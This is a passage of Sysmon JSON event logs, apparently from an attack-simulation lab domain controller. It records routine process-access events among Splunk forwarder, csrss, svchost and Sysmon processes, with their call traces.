Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3512,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010363D0500}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18226|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010363D0500}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18226|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3513,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010363D0500}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010363D0500}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3514,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3515,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3516,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3517,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3518,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 